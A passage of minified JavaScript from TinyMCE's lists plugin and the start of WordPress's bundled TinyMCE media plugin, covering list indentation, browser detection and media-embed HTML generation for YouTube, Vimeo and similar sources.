n,t,r,o,i,u,s,a,c,f,d,l=Ke.browsers(),m=Ke.oses(),g=je(l,e).fold(xe.unknown,xe.nu),p=He(m,e).fold(Ue.unknown,Ue.nu);return{browser:g,os:p,deviceType:(t=g,r=e,o=(n=p).isiOS()&&!0===/ipad/i.test(r),i=n.isiOS()&&!o,u=n.isAndroid()&&3===n.version.major,s=n.isAndroid()&&4===n.version.major,a=o||u||s&&!0===/mobile/i.test(r),c=n.isiOS()||n.isAndroid(),f=c&&!a,d=t.isSafari()&&n.isiOS()&&!1===/safari/i.test(r),{isiPad:P(o),isiPhone:P(i),isTablet:P(a),isPhone:P(f),isTouch:P(c),isAndroid:n.isAndroid,isiOS:n.isiOS,isWebView:P(d)})}},Qe={detect:(o=function(){var e=u.navigator.userAgent;return Xe(e)},s=!1,function(){for(var e=[],n=0;n<arguments.length;n++)e[n]=arguments[n];return s||(s=!0,i=o.apply(null,e)),i})},Ye=(u.Node.ATTRIBUTE_NODE,u.Node.CDATA_SECTION_NODE,u.Node.COMMENT_NODE,u.Node.DOCUMENT_NODE,u.Node.DOCUMENT_TYPE_NODE,u.Node.DOCUMENT_FRAGMENT_NODE,u.Node.ELEMENT_NODE),Ge=(u.Node.TEXT_NODE,u.Node.PROCESSING_INSTRUCTION_NODE,u.Node.ENTITY_REFERENCE_NODE,u.Node.ENTITY_NODE,u.Node.NOTATION_NODE,Ye),Je=function(e,n){return e.dom()===n.dom()},Ze=Qe.detect().browser.isIE()?function(e,n){return be(e.dom(),n.dom())}:function(e,n){var t=e.dom(),r=n.dom();return t!==r&&t.contains(r)},en=function(e,n){var t=e.dom();if(t.nodeType!==Ge)return!1;var r=t;if(r.matches!==undefined)return r.matches(n);if(r.msMatchesSelector!==undefined)return r.msMatchesSelector(n);if(r.webkitMatchesSelector!==undefined)return r.webkitMatchesSelector(n);if(r.mozMatchesSelector!==undefined)return r.mozMatchesSelector(n);throw new Error("Browser lacks native selectors")},nn=function(e){return q.from(e.dom().parentNode).map(ye.fromDom)},tn=function(e){return J(e.dom().childNodes,ye.fromDom)},rn=function(e,n){var t=e.dom().childNodes;return q.from(t[n]).map(ye.fromDom)},on=function(e){return rn(e,0)},un=function(e){return rn(e,e.dom().childNodes.length-1)},sn=(function(){for(var e=[],n=0;n<arguments.length;n++)e[n]=arguments[n]}("element","offset"),function(n,t){nn(n).each(function(e){e.dom().insertBefore(t.dom(),n.dom())})}),an=function(e,n){e.dom().appendChild(n.dom())},cn=function(n,e){Z(e,function(e){an(n,e)})},fn=function(e){var n=e.dom();null!==n.parentNode&&n.parentNode.removeChild(n)},dn=function(e){return e.dom().nodeName.toLowerCase()},ln=(a=Ye,function(e){return e.dom().nodeType===a}),mn=function(e,n){var t=e.dom();!function(e,n){for(var t=Se(e),r=0,o=t.length;r<o;r++){var i=t[r];n(e[i],i)}}(n,function(e,n){!function(e,n,t){if(!(V(t)||K(t)||Q(t)))throw u.console.error("Invalid call to Attr.set. Key ",n,":: Value ",t,":: Element ",e),new Error("Attribute value was not simple");e.setAttribute(n,t+"")}(t,n,e)})},gn=function(e){return ne(e.dom().attributes,function(e,n){return e[n.name]=n.value,e},{})},pn=function(e,n,t){if(!V(t))throw u.console.error("Invalid call to CSS.set. Property ",n,":: Value ",t,":: Element ",e),new Error("CSS value must be a string: "+t);var r;(r=e).style!==undefined&&X(r.style.getPropertyValue)&&e.style.setProperty(n,t)},vn=function(e){return n=e,t=!0,ye.fromDom(n.dom().cloneNode(t));var n,t},hn=function(e,n){var t,r,o,i,u=(t=e,r=n,o=ye.fromTag(r),i=gn(t),mn(o,i),o);sn(e,u);var s=tn(e);return cn(u,s),fn(e),u},yn=function(e,n){an(e.item,n.list)},Nn=function(f,e,d){var n=e.slice(0,d.depth);return ie(n).each(function(e){var n,t,r,o,i,u,s,a,c=(n=f,t=d.itemAttributes,r=d.content,o=ye.fromTag("li",n),mn(o,t),cn(o,r),o);u=c,an((i=e).list,u),i.item=u,a=d,dn((s=e).list)!==a.listType&&(s.list=hn(s.list,a.listType)),mn(s.list,a.listAttributes)}),n},Sn=function(e,n,t){var r,o=function(e,n,t){for(var r,o,i,u=[],s=0;s<t;s++)u.push((r=e,o=n.listType,i={list:ye.fromTag(o,r),item:ye.fromTag("li",r)},an(i.list,i.item),i));return u}(e,t,t.depth-n.length);return function(e){for(var n=1;n<e.length;n++)yn(e[n-1],e[n])}(o),function(e,n){for(var t=0;t<e.length-1;t++)r=e[t].item,o="list-style-type",i="none",u=r.dom(),pn(u,o,i);var r,o,i,u;ie(e).each(function(e){mn(e.list,n.listAttributes),mn(e.item,n.itemAttributes),cn(e.item,n.content)})}(o,t),r=o,Ne(ie(n),oe(r),yn),n.concat(o)},Cn=function(e){return en(e,"OL,UL")},On=function(e){return on(e).map(Cn).getOr(!1)},bn=function(e){return 0<e.depth},Tn=function(e){return e.isSelected},En=function(e){var n=tn(e),t=un(e).map(Cn).getOr(!1)?n.slice(0,-1):n;return J(t,vn)},Ln=Object.prototype.hasOwnProperty,Dn=(c=function(e,n){return n},function(){for(var e=new Array(arguments.length),n=0;n<e.length;n++)e[n]=arguments[n];if(0===e.length)throw new Error("Can't merge zero objects");for(var t={},r=0;r<e.length;r++){var o=e[r];for(var i in o)Ln.call(o,i)&&(t[i]=c(t[i],o[i]))}return t}),wn=function(n){Z(n,function(r,e){(function(e,n){for(var t=e[n].depth,r=n-1;0<=r;r--){if(e[r].depth===t)return q.some(e[r]);if(e[r].depth<t)break}return q.none()})(n,e).each(function(e){var n,t;t=e,(n=r).listType=t.listType,n.listAttributes=Dn({},t.listAttributes)})})},kn=function(e){var n=e,t=function(){return n};return{get:t,set:function(e){n=e},clone:function(){return kn(t())}}},An=function(i,u,s,a){return on(a).filter(Cn).fold(function(){u.each(function(e){Je(e.start,a)&&s.set(!0)});var n,t,r,e=(n=a,t=i,r=s.get(),nn(n).filter(ln).map(function(e){return{depth:t,isSelected:r,content:En(n),itemAttributes:gn(n),listAttributes:gn(e),listType:dn(e)}}));u.each(function(e){Je(e.end,a)&&s.set(!1)});var o=un(a).filter(Cn).map(function(e){return xn(i,u,s,e)}).getOr([]);return e.toArray().concat(o)},function(e){return xn(i,u,s,e)})},xn=function(n,t,r,e){return re(tn(e),function(e){return(Cn(e)?xn:An)(n+1,t,r,e)})},Rn=tinymce.util.Tools.resolve("tinymce.Env"),In=function(e,n){var t,r,o,i,u=e.dom,s=e.schema.getBlockElements(),a=u.createFragment();if(e.settings.forced_root_block&&(o=e.settings.forced_root_block),o&&((r=u.create(o)).tagName===e.settings.forced_root_block&&u.setAttribs(r,e.settings.forced_root_block_attrs),L(n.firstChild,s)||a.appendChild(r)),n)for(;t=n.firstChild;){var c=t.nodeName;i||"SPAN"===c&&"bookmark"===t.getAttribute("data-mce-type")||(i=!0),L(t,s)?(a.appendChild(t),r=null):o?(r||(r=u.create(o),a.appendChild(r)),r.appendChild(t)):a.appendChild(t)}return e.settings.forced_root_block?i||Rn.ie&&!(10<Rn.ie)||r.appendChild(u.create("br",{"data-mce-bogus":"1"})):a.appendChild(u.create("br")),a},_n=function(i,e){return J(e,function(e){var n,t,r,o=(n=e.content,r=(t||u.document).createDocumentFragment(),Z(n,function(e){r.appendChild(e.dom())}),ye.fromDom(r));return ye.fromDom(In(i,o.dom()))})},Bn=function(e,n){return wn(n),(t=e.contentDocument,r=n,o=ne(r,function(e,n){return n.depth>e.length?Sn(t,e,n):Nn(t,e,n)},[]),oe(o).map(function(e){return e.list})).toArray();var t,r,o},Pn=function(e){var n,t,r=J(ve.getSelectedListItems(e),ye.fromDom);return Ne(te(r,M(On)),te((n=r,(t=Y.call(n,0)).reverse(),t),M(On)),function(e,n){return{start:e,end:n}})},Mn=function(s,e,a){var n,t,r,o=(n=e,t=Pn(s),r=kn(!1),J(n,function(e){return{sourceList:e,entries:xn(0,t,r,e)}}));Z(o,function(e){var n,t,r,o,i,u;n=e.entries,t=a,Z(ee(n,Tn),function(e){return function(e,n){switch(e){case"Indent":n.depth++;break;case"Outdent":n.depth--;break;case"Flatten":n.depth=0}}(t,e)}),r=e.sourceList,i=s,u=e.entries,o=re(function(e,n){if(0===e.length)return[];for(var t=n(e[0]),r=[],o=[],i=0,u=e.length;i<u;i++){var s=e[i],a=n(s);a!==t&&(r.push(o),o=[]),t=a,o.push(s)}return 0!==o.length&&r.push(o),r}(u,bn),function(e){return oe(e).map(bn).getOr(!1)?Bn(i,e):_n(i,e)}),Z(o,function(e){sn(r,e)}),fn(e.sourceList)})},Un=g.DOM,Fn=function(e,n,t){var r,o,i,u,s,a;for(i=Un.select('span[data-mce-type="bookmark"]',n),s=In(e,t),(r=Un.createRng()).setStartAfter(t),r.setEndAfter(n),u=(o=r.extractContents()).firstChild;u;u=u.firstChild)if("LI"===u.nodeName&&e.dom.isEmpty(u)){Un.remove(u);break}e.dom.isEmpty(o)||Un.insertAfter(o,n),Un.insertAfter(s,n),w(e.dom,t.parentNode)&&(a=t.parentNode,v.each(i,function(e){a.parentNode.insertBefore(e,t.parentNode)}),Un.remove(a)),Un.remove(t),w(e.dom,n)&&Un.remove(n)},jn=function(e){en(e,"dt")&&hn(e,"dd")},Hn=function(r,e,n){Z(n,"Indent"===e?jn:function(e){return n=r,void(en(t=e,"dd")?hn(t,"dt"):en(t,"dt")&&nn(t).each(function(e){return Fn(n,e.dom(),t.dom())}));var n,t})},$n=function(e,n){var t=J(ve.getSelectedListRoots(e),ye.fromDom),r=J(ve.getSelectedDlItems(e),ye.fromDom),o=!1;if(t.length||r.length){var i=e.selection.getBookmark();Mn(e,t,n),Hn(e,n,r),e.selection.moveToBookmark(i),e.selection.setRng(x(e.selection.getRng())),e.nodeChanged(),o=!0}return o},qn=function(e){return $n(e,"Indent")},Wn=function(e){return $n(e,"Outdent")},Vn=function(e){return $n(e,"Flatten")},zn=function(t,e){v.each(e,function(e,n){t.setAttribute(n,e)})},Kn=function(e,n,t){var r,o,i,u,s,a,c;r=e,o=n,u=(i=t)["list-style-type"]?i["list-style-type"]:null,r.setStyle(o,"list-style-type",u),s=e,zn(a=n,(c=t)["list-attributes"]),v.each(s.select("li",a),function(e){zn(e,c["list-item-attributes"])})},Xn=function(e,n,t,r){var o,i;for(o=n[t?"startContainer":"endContainer"],i=n[t?"startOffset":"endOffset"],1===o.nodeType&&(o=o.childNodes[Math.min(i,o.childNodes.length-1)]||o),!t&&T(o.nextSibling)&&(o=o.nextSibling);o.parentNode!==r;){if(E(e,o))return o;if(/^(TD|TH)$/.test(o.parentNode.nodeName))return o;o=o.parentNode}return o},Qn=function(f,d,l){void 0===l&&(l={});var e,n=f.selection.getRng(!0),m="LI",t=ve.getClosestListRootElm(f,f.selection.getStart(!0)),g=f.dom;"false"!==g.getContentEditable(f.selection.getNode())&&("DL"===(d=d.toUpperCase())&&(m="DT"),e=I(n),v.each(function(t,e,r){for(var o,i=[],u=t.dom,n=Xn(t,e,!0,r),s=Xn(t,e,!1,r),a=[],c=n;c&&(a.push(c),c!==s);c=c.nextSibling);return v.each(a,function(e){if(E(t,e))return i.push(e),void(o=null);if(u.isBlock(e)||T(e))return T(e)&&u.remove(e),void(o=null);var n=e.nextSibling;p.isBookmarkNode(e)&&(E(t,n)||!n&&e.parentNode===r)?o=null:(o||(o=u.create("p"),e.parentNode.insertBefore(o,e),i.push(o)),o.appendChild(e))}),i}(f,n,t),function(e){var n,t,r,o,i,u,s,a,c;(t=e.previousSibling)&&N(t)&&t.nodeName===d&&(r=t,o=l,i=g.getStyle(r,"list-style-type"),u=o?o["list-style-type"]:"",i===(u=null===u?"":u))?(n=t,e=g.rename(e,m),t.appendChild(e)):(n=g.create(d),e.parentNode.insertBefore(n,e),n.appendChild(e),e=g.rename(e,m)),s=g,a=e,c=["margin","margin-right","margin-bottom","margin-left","margin-top","padding","padding-right","padding-bottom","padding-left","padding-top"],v.each(c,function(e){var n;return s.setStyle(a,((n={})[e]="",n))}),Kn(g,n,l),Gn(f.dom,n)}),f.selection.setRng(_(e)))},Yn=function(e,n,t){return a=t,(s=n)&&a&&N(s)&&s.nodeName===a.nodeName&&(i=n,u=t,(o=e).getStyle(i,"list-style-type",!0)===o.getStyle(u,"list-style-type",!0))&&(r=t,n.className===r.className);var r,o,i,u,s,a},Gn=function(e,n){var t,r;if(t=n.nextSibling,Yn(e,n,t)){for(;r=t.firstChild;)n.appendChild(r);e.remove(t)}if(t=n.previousSibling,Yn(e,n,t)){for(;r=t.lastChild;)n.insertBefore(r,n.firstChild);e.remove(t)}},Jn=function(n,e,t,r,o){if(e.nodeName!==r||Zn(o)){var i=I(n.selection.getRng(!0));v.each([e].concat(t),function(e){!function(e,n,t,r){if(n.nodeName!==t){var o=e.rename(n,t);Kn(e,o,r)}else Kn(e,n,r)}(n.dom,e,r,o)}),n.selection.setRng(_(i))}else Vn(n)},Zn=function(e){return"list-style-type"in e},et={toggleList:function(e,n,t){var r=ve.getParentList(e),o=ve.getSelectedSubLists(e);t=t||{},r&&0<o.length?Jn(e,r,o,n,t):function(e,n,t,r){if(n!==e.getBody())if(n)if(n.nodeName!==t||Zn(r)){var o=I(e.selection.getRng(!0));Kn(e.dom,n,r),Gn(e.dom,e.dom.rename(n,t)),e.selection.setRng(_(o))}else Vn(e);else Qn(e,t,r)}(e,r,n,t)},mergeWithAdjacentLists:Gn},nt=g.DOM,tt=function(e,n){var t,r=n.parentNode;"LI"===r.nodeName&&r.firstChild===n&&((t=r.previousSibling)&&"LI"===t.nodeName?(t.appendChild(n),w(e,r)&&nt.remove(r)):nt.setStyle(r,"listStyleType","none")),N(r)&&(t=r.previousSibling)&&"LI"===t.nodeName&&t.appendChild(n)},rt=function(n,e){v.each(v.grep(n.select("ol,ul",e)),function(e){tt(n,e)})},ot=function(e,n,t,r){var o,i,u=n.startContainer,s=n.startOffset;if(3===u.nodeType&&(t?s<u.data.length:0<s))return u;for(o=e.schema.getNonEmptyElements(),1===u.nodeType&&(u=d.getNode(u,s)),i=new l(u,r),t&&D(e.dom,u)&&i.next();u=i[t?"next":"prev2"]();){if("LI"===u.nodeName&&!u.hasChildNodes())return u;if(o[u.nodeName])return u;if(3===u.nodeType&&0<u.data.length)return u}},it=function(e,n){var t=n.childNodes;return 1===t.length&&!N(t[0])&&e.isBlock(t[0])},ut=function(e,n,t){var r,o,i,u;if(o=it(e,t)?t.firstChild:t,it(i=e,u=n)&&i.remove(u.firstChild,!0),!w(e,n,!0))for(;r=n.firstChild;)o.appendChild(r)},st=function(n,e,t){var r,o,i=e.parentNode;if(k(n,e)&&k(n,t)){N(t.lastChild)&&(o=t.lastChild),i===t.lastChild&&T(i.previousSibling)&&n.remove(i.previousSibling),(r=t.lastChild)&&T(r)&&e.hasChildNodes()&&n.remove(r),w(n,t,!0)&&n.$(t).empty(),ut(n,e,t),o&&t.appendChild(o);var u=Ze(ye.fromDom(t),ye.fromDom(e))?n.getParents(e,N,t):[];n.remove(e),Z(u,function(e){w(n,e)&&e!==n.getRoot()&&n.remove(e)})}},at=function(e,n,t,r){var o,i,u,s=e.dom;if(s.isEmpty(r))i=t,u=r,(o=e).dom.$(u).empty(),st(o.dom,i,u),o.selection.setCursorLocation(u);else{var a=I(n);st(s,t,r),e.selection.setRng(_(a))}},ct=function(e,n){var t,r,o,i=e.dom,u=e.selection,s=u.getStart(),a=ve.getClosestListRootElm(e,s),c=i.getParent(u.getStart(),"LI",a);if(c){if((t=c.parentNode)===e.getBody()&&w(i,t))return!0;if(r=x(u.getRng(!0)),(o=i.getParent(ot(e,r,n,a),"LI",a))&&o!==c)return n?at(e,r,o,c):function(e,n,t,r){var o=I(n);st(e.dom,t,r);var i=_(o);e.selection.setRng(i)}(e,r,c,o),!0;if(!o&&!n)return Vn(e),!0}return!1},ft=function(e,n){return ct(e,n)||function(o,i){var u=o.dom,e=o.selection.getStart(),s=ve.getClosestListRootElm(o,e),a=u.getParent(e,u.isBlock,s);if(a&&u.isEmpty(a)){var n=x(o.selection.getRng(!0)),c=u.getParent(ot(o,n,i,s),"LI",s);if(c)return o.undoManager.transact(function(){var e,n,t,r;n=a,t=s,r=(e=u).getParent(n.parentNode,e.isBlock,t),e.remove(n),r&&e.isEmpty(r)&&e.remove(r),et.mergeWithAdjacentLists(u,c.parentNode),o.selection.select(c,!0),o.selection.collapse(i)}),!0}return!1}(e,n)},dt=function(e,n){return e.selection.isCollapsed()?ft(e,n):(r=(t=e).selection.getStart(),o=ve.getClosestListRootElm(t,r),!!(t.dom.getParent(r,"LI,DT,DD",o)||0<ve.getSelectedListItems(t).length)&&(t.undoManager.transact(function(){t.execCommand("Delete"),rt(t.dom,t.getBody())}),!0));var t,r,o},lt=function(n){n.on("keydown",function(e){e.keyCode===m.BACKSPACE?dt(n,!1)&&e.preventDefault():e.keyCode===m.DELETE&&dt(n,!0)&&e.preventDefault()})},mt=dt,gt=function(n){return{backspaceDelete:function(e){mt(n,e)}}},pt=function(n,t){return function(){var e=n.dom.getParent(n.selection.getStart(),"UL,OL,DL");return e&&e.nodeName===t}},vt=function(t){t.on("BeforeExecCommand",function(e){var n=e.command.toLowerCase();"indent"===n?qn(t):"outdent"===n&&Wn(t)}),t.addCommand("InsertUnorderedList",function(e,n){et.toggleList(t,"UL",n)}),t.addCommand("InsertOrderedList",function(e,n){et.toggleList(t,"OL",n)}),t.addCommand("InsertDefinitionList",function(e,n){et.toggleList(t,"DL",n)}),t.addCommand("RemoveList",function(){Vn(t)}),t.addQueryStateHandler("InsertUnorderedList",pt(t,"UL")),t.addQueryStateHandler("InsertOrderedList",pt(t,"OL")),t.addQueryStateHandler("InsertDefinitionList",pt(t,"DL"))},ht=function(e){return e.getParam("lists_indent_on_tab",!0)},yt=function(e){var n;ht(e)&&(n=e).on("keydown",function(e){e.keyCode!==m.TAB||m.metaKeyPressed(e)||n.undoManager.transact(function(){(e.shiftKey?Wn(n):qn(n))&&e.preventDefault()})}),lt(e)},Nt=function(n,i){return function(e){var o=e.control;n.on("NodeChange",function(e){var n=function(e,n){for(var t=0;t<e.length;t++)if(n(e[t]))return t;return-1}(e.parents,b),t=-1!==n?e.parents.slice(0,n):e.parents,r=v.grep(t,N);o.active(0<r.length&&r[0].nodeName===i)})}},St=function(e){var n,t,r;t="advlist",r=(n=e).settings.plugins?n.settings.plugins:"",-1===v.inArray(r.split(/[ ,]/),t)&&(e.addButton("numlist",{active:!1,title:"Numbered list",cmd:"InsertOrderedList",onPostRender:Nt(e,"OL")}),e.addButton("bullist",{active:!1,title:"Bullet list",cmd:"InsertUnorderedList",onPostRender:Nt(e,"UL")})),e.addButton("indent",{icon:"indent",title:"Increase indent",cmd:"Indent"})};f.add("lists",function(e){return yt(e),St(e),vt(e),gt(e)})}(window); // Source: wp-includes/js/tinymce/plugins/media/plugin.min.js !function(){"use strict";var e,t,r,n,i=tinymce.util.Tools.resolve("tinymce.PluginManager"),o=tinymce.util.Tools.resolve("tinymce.Env"),v=tinymce.util.Tools.resolve("tinymce.util.Tools"),w=function(e){return e.getParam("media_scripts")},b=function(e){return e.getParam("audio_template_callback")},y=function(e){return e.getParam("video_template_callback")},a=function(e){return e.getParam("media_live_embeds",!0)},u=function(e){return e.getParam("media_filter_html",!0)},s=function(e){return e.getParam("media_url_resolver")},m=function(e){return e.getParam("media_alt_source",!0)},d=function(e){return e.getParam("media_poster",!0)},h=function(e){return e.getParam("media_dimensions",!0)},f=function(e){var t=e,r=function(){return t};return{get:r,set:function(e){t=e},clone:function(){return f(r())}}},c=function(){},l=function(e){return function(){return e}},p=l(!1),g=l(!0),x=function(){return O},O=(e=function(e){return e.isNone()},n={fold:function(e,t){return e()},is:p,isSome:p,isNone:g,getOr:r=function(e){return e},getOrThunk:t=function(e){return e()},getOrDie:function(e){throw new Error(e||"error: getOrDie called on none.")},getOrNull:l(null),getOrUndefined:l(undefined),or:r,orThunk:t,map:x,each:c,bind:x,exists:p,forall:g,filter:x,equals:e,equals_:e,toArray:function(){return[]},toString:l("none()")},Object.freeze&&Object.freeze(n),n),j=function(r){var e=l(r),t=function(){return i},n=function(e){return e(r)},i={fold:function(e,t){return t(r)},is:function(e){return r===e},isSome:g,isNone:p,getOr:e,getOrThunk:e,getOrDie:e,getOrNull:e,getOrUndefined:e,or:t,orThunk:t,map:function(e){return j(e(r))},each:function(e){e(r)},bind:n,exists:n,forall:n,filter:function(e){return e(r)?i:O},toArray:function(){return[r]},toString:function(){return"some("+r+")"},equals:function(e){return e.is(r)},equals_:function(e,t){return e.fold(p,function(e){return t(r,e)})}};return i},_=x,S=function(e){return null===e||e===undefined?O:j(e)},k=Object.hasOwnProperty,N=function(e,t){return M(e,t)?S(e[t]):_()},M=function(e,t){return k.call(e,t)},T=tinymce.util.Tools.resolve("tinymce.dom.DOMUtils"),z=tinymce.util.Tools.resolve("tinymce.html.SaxParser"),A=function(e,t){if(e)for(var r=0;r<e.length;r++)if(-1!==t.indexOf(e[r].filter))return e[r]},C=T.DOM,$=function(e){return e.replace(/px$/,"")},P=function(a,e){var c=f(!1),u={};return z({validate:!1,allow_conditional_comments:!0,special:"script,noscript",start:function(e,t){if(c.get());else if(M(t.map,"data-ephox-embed-iri"))c.set(!0),i=(n=t).map.style,o=i?C.parseStyle(i):{},u={type:"ephox-embed-iri",source1:n.map["data-ephox-embed-iri"],source2:"",poster:"",width:N(o,"max-width").map($).getOr(""),height:N(o,"max-height").map($).getOr("")};else{if(u.source1||"param"!==e||(u.source1=t.map.movie),"iframe"!==e&&"object"!==e&&"embed"!==e&&"video"!==e&&"audio"!==e||(u.type||(u.type=e),u=v.extend(t.map,u)),"script"===e){var r=A(a,t.map.src);if(!r)return;u={type:"script",source1:t.map.src,width:r.width,height:r.height}}"source"===e&&(u.source1?u.source2||(u.source2=t.map.src):u.source1=t.map.src),"img"!==e||u.poster||(u.poster=t.map.src)}var n,i,o}}).parse(e),u.source1=u.source1||u.src||u.data,u.source2=u.source2||"",u.poster=u.poster||"",u},F=tinymce.util.Tools.resolve("tinymce.util.Promise"),D=function(e){var t={mp3:"audio/mpeg",wav:"audio/wav",mp4:"video/mp4",webm:"video/webm",ogg:"video/ogg",swf:"application/x-shockwave-flash"}[e.toLowerCase().split(".").pop()];return t||""},L=tinymce.util.Tools.resolve("tinymce.html.Schema"),E=tinymce.util.Tools.resolve("tinymce.html.Writer"),J=T.DOM,R=function(e){return/^[0-9.]+$/.test(e)?e+"px":e},U=function(e,t){for(var r in t){var n=""+t[r];if(e.map[r])for(var i=e.length;i--;){var o=e[i];o.name===r&&(n?(e.map[r]=n,o.value=n):(delete e.map[r],e.splice(i,1)))}else n&&(e.push({name:r,value:n}),e.map[r]=n)}},W=function(e,c,u){var s,l=E(),m=f(!1),d=0;return z({validate:!1,allow_conditional_comments:!0,special:"script,noscript",comment:function(e){l.comment(e)},cdata:function(e){l.cdata(e)},text:function(e,t){l.text(e,t)},start:function(e,t,r){if(m.get());else if(M(t.map,"data-ephox-embed-iri"))m.set(!0),n=c,o=(i=t).map.style,(a=o?J.parseStyle(o):{})["max-width"]=R(n.width),a["max-height"]=R(n.height),U(i,{style:J.serializeStyle(a)});else{switch(e){case"video":case"object":case"embed":case"img":case"iframe":c.height!==undefined&&c.width!==undefined&&U(t,{width:c.width,height:c.height})}if(u)switch(e){case"video":U(t,{poster:c.poster,src:""}),c.source2&&U(t,{src:""});break;case"iframe":U(t,{src:c.source1});break;case"source":if(++d<=2&&(U(t,{src:c["source"+d],type:c["source"+d+"mime"]}),!c["source"+d]))return;break;case"img":if(!c.poster)return;s=!0}}var n,i,o,a;l.start(e,t,r)},end:function(e){if(!m.get()){if("video"===e&&u)for(var t=1;t<=2;t++)if(c["source"+t]){var r=[];r.map={},d<t&&(U(r,{src:c["source"+t],type:c["source"+t+"mime"]}),l.start("source",r,!0))}if(c.poster&&"object"===e&&u&&!s){var n=[];n.map={},U(n,{src:c.poster,width:c.width,height:c.height}),l.start("img",n,!0)}}l.end(e)}},L({})).parse(e),l.getContent()},H=[{regex:/youtu\.be\/([\w\-_\?&=.]+)/i,type:"iframe",w:560,h:314,url:"//www.youtube.com/embed/$1",allowFullscreen:!0},{regex:/youtube\.com(.+)v=([^&]+)(&([a-z0-9&=\-_]+))?/i,type:"iframe",w:560,h:314,url:"//www.youtube.com/embed/$2?$4",allowFullscreen:!0},{regex:/youtube.com\/embed\/([a-z0-9\?&=\-_]+)/i,type:"iframe",w:560,h:314,url:"//www.youtube.com/embed/$1",allowFullscreen:!0},{regex:/vimeo\.com\/([0-9]+)/,type:"iframe",w:425,h:350,url:"//player.vimeo.com/video/$1?title=0&byline=0&portrait=0&color=8dc7dc",allowFullscreen:!0},{regex:/vimeo\.com\/(.*)\/([0-9]+)/,type:"iframe",w:425,h:350,url:"//player.vimeo.com/video/$2?title=0&byline=0",allowFullscreen:!0},{regex:/maps\.google\.([a-z]{2,3})\/maps\/(.+)msid=(.+)/,type:"iframe",w:425,h:350,url:'//maps.google.com/maps/ms?msid=$2&output=embed"',allowFullscreen:!1},{regex:/dailymotion\.com\/video\/([^_]+)/,type:"iframe",w:480,h:270,url:"//www.dailymotion.com/embed/video/$1",allowFullscreen:!0},{regex:/dai\.ly\/([^_]+)/,type:"iframe",w:480,h:270,url:"//www.dailymotion.com/embed/video/$1",allowFullscreen:!0}],I=function(r,e){var n=v.extend({},e);if(!n.source1&&(v.extend(n,P(w(r),n.embed)),!n.source1))return"";n.source2||(n.source2=""),n.poster||(n.poster=""),n.source1=r.convertURL(n.source1,"source"),n.source2=r.convertURL(n.source2,"source"),n.source1mime=D(n.source1),n.source2mime=D(n.source2),n.poster=r.convertURL(n.poster,"poster");var t,i,o=(t=n.source1,0<(i=H.filter(function(e){return e.regex.test(t)})).length?v.extend({},i[0],{url:function(e,t){for(var r=e.regex.exec(t),n=e.url,i=function(e){n=n.replace("$"+e,function(){return r[e]?r[e]:""})},o=0;o<r.length;o++)i(o);return n.replace(/\?$/,"")}(i[0],t)}):null);if(o&&(n.source1=o.url,n.type=o.type,n.allowFullscreen=o.allowFullscreen,n.width=n.width||o.w,n.height=n.height||o.h),n.embed)return W(n.embed,n,!0);var a=A(w(r),n.source1);a&&(n.type="script",n.width=a.width,n.height=a.height);var c,u,s,l,m,d,h,f,p=b(r),g=y(r);return n.width=n.width||300,n.height=n.height||150,v.each(n,function(e,t){n[t]=r.dom.encode(e)}),"iframe"===n.type?(f=(h=n).allowFullscreen?' allowFullscreen="1"':"",'<iframe src="'+h.source1+'" width="'+h.width+'" height="'+h.height+'"'+f+"></iframe>"):"application/x-shockwave-flash"===n.source1mime?(d='<object data="'+(m=n).source1+'" width="'+m.width+'" height="'+m.height+'" type="application/x-shockwave-flash">',m.poster&&(d+='<img src="'+m.poster+'" width="'+m.width+'" height="'+m.height+'" />'),d+="</object>"):-1!==n.source1mime.indexOf("audio")?(s=n,(l=p)?l(s):'<audio controls="controls" src="'+s.source1+'">'+(s.source2?'\n<source src="'+s.source2+'"'+(s.source2mime?' type="'+s.source2mime+'"':"")+" />\n":"")+"</audio>"):"script"===n.type?'<script src="'+n.source1+'"><\/script>':(c=n,(u=g)?u(c):'<video width="'+c.width+'" height="'+c.height+'"'+(c.poster?' poster="'+c.poster+'"':"")+' controls="controls">\n<source src="'+c.source1+'"'+(c.source1mime?' type="'+c.source1mime+'"':"")+" />\n"+(c.source2?'<source src="'+c.source2+'"'+(c.source2mime?' type="'+c.source2mime+'"':"")+" />\n":"")+"</video>")},q={},V=function(t){return function(e){return I(t,e)}},B=function(e,t){var r,n,i,o,a,c=s(e);return c?(i=t,o=V(e),a=c,new F(function(t,e){var r=function(e){return e.html&&(q[i.source1]=e),t({url:i.source1,html:e.html?e.html:o(i)})};q[i.source1]?r(q[i.source1]):a({url:i.source1},r,e)})):(r=t,n=V(e),new F(function(e){e({html:n(r),url:r.source1})}))},G=function(e){return q.hasOwnProperty(e)},K=function(t){return function(e){return e?e.style[t].replace(/px$/,""):""}},Q=function(n){return function(e,t){var r;e&&(e.style[n]=/^[0-9.]+$/.test(r=t)?r+"px":r)}},X={getMaxWidth:K("maxWidth"),getMaxHeight:K("maxHeight"),setMaxWidth:Q("maxWidth"),setMaxHeight:Q("maxHeight")},Y=function(e,t){e.state.set("oldVal",e.value()),t.state.set("oldVal",t.value())},Z=function(e,t){var r=e.find("#width")[0],n=e.find("#height")[0],i=e.find("#constrain")[0];r&&n&&i&&t(r,n,i.checked())},ee=function(e,t,r){var n=e.state.get("oldVal"),i=t.state.get("oldVal"),o=e.value(),a=t.value();r&&n&&i&&o&&a&&(o!==n?(a=Math.round(o/n*a),isNaN(a)||t.value(a)):(o=Math.round(a/i*o),isNaN(o)||e.value(o))),Y(e,t)},te=function(e){Z(e,ee)},re=function(e){var t=function(){e(function(e){te(e)})};return{type:"container",label:"Dimensions",layout:"flex",align:"center",spacing:5,items:[{name:"width",type:"textbox",maxLength:5,size:5,onchange:t,ariaLabel:"Width"},{type:"label",text:"x"},{name:"height",type:"textbox",maxLength:5,size:5,onchange:t,ariaLabel:"Height"},{name:"constrain",type:"checkbox",checked:!0,text:"Constrain proportions"}]}},ne=function(e){Z(e,Y)},ie=te,oe=o.ie&&o.ie<=8?"onChange":"onInput",ae=function(r){return function(e){var t=e&&e.msg?"Media embed handler error: "+e.msg:"Media embed handler threw unknown error.";r.notificationManager.open({type:"error",text:t})}},ce=function(i,o){return function(e){var t=e.html,r=i.find("#embed")[0],n=v.extend(P(w(o),t),{source1:e.url});i.fromJSON(n),r&&(r.value(t),ie(i))}},ue=function(e,t){var r=e.dom.select("img[data-mce-object]");e.insertContent(t),function(e,t){var 